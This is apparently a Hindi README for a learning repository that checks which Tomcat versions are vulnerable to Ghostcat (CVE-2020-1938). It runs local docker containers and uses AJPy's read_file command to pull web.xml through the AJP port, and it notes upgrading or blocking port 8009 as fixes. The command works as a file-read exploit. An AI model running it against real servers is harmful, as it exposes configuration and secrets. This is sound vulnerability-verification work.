
Ghostcat (उर्फ CVE-2020-1938) के प्रति संवेदनशीलता की जांच कैसे करें, इस पर सीख
एक नया शोषण जिसे Ghostcat कहा जाता है, CVE-2020-1938 पाया गया है, शोषण के विवरण और विश्लेषण के लिए snyk और tenable पर लेख देखें।
मेरे मामले में, मैं यह सत्यापित करना चाहता था कि कौन से Tomcat सर्वर शोषण योग्य हैं और यदि हाँ, तो यह स्वयं कैसे प्रकट होता है। तो यह प्रयोग Tomcat 7, 8 और 9 की जाँच करना है।
TODO: कैसे सत्यापित करें कि Tomcat 7 असुरक्षित है?
लाइव सर्वर पर शोषण का परीक्षण करने के बजाय, मैं अपने प्रयोग को करने के लिए Tomcat के मौजूदा बिल्ड का उपयोग कर रहा हूँ, जिसमें AJPy का उपयोग किया गया है जो AJP कनेक्टर्स के साथ संवाद करने के लिए AJP अनुरोधों को तैयार करता है।
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
यदि यह web.xml लौटाता है तो Tomcat का यह संस्करण शोषण के प्रति असुरक्षित है।
यदि हम Tomcat 8.5 के नवीनतम संस्करण का उपयोग करके वही परीक्षण करते हैं तो हम देख सकते हैं कि यह इस विशेष त्रुटि के प्रति असुरक्षित नहीं है।
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
इस मामले में, हमें एक python त्रुटि मिलनी चाहिए, जिसका वास्तव में अर्थ है कि सर्वर असुरक्षित नहीं है;
Traceback (most recent call last):
File "tomcat.py", line 377, in <module>
hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
...
...
struct.error: unpack requires a buffer of 5 bytes
TODO: कैसे सत्यापित करें कि Tomcat 9 असुरक्षित है?
TODO: कैसे सत्यापित करें कि Springboot सेवा असुरक्षित है?
स्पष्ट रूप से यदि असुरक्षित है (संस्करण के बावजूद), तो आपको पैच किए गए संस्करणों में अपग्रेड करने पर विचार करना चाहिए। एक अन्य विकल्प AJP पोर्ट तक पहुंच को अवरुद्ध करना है।
उसी Tomcat संस्करण को प्रारंभ करें लेकिन AJP पोर्ट 8009 को उजागर न करें।
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
इस मामले में, हम देख सकते हैं कि यह सर्वर का शोषण करने में विफल रहेगा।
मैं एक सुरक्षा पेशेवर नहीं हूँ और यह रिपॉजिटरी मेरे सीखने के उद्देश्यों के लिए बनाई गई है, इसका दुर्भावनापूर्ण उद्देश्यों के लिए उपयोग करने का इरादा नहीं है।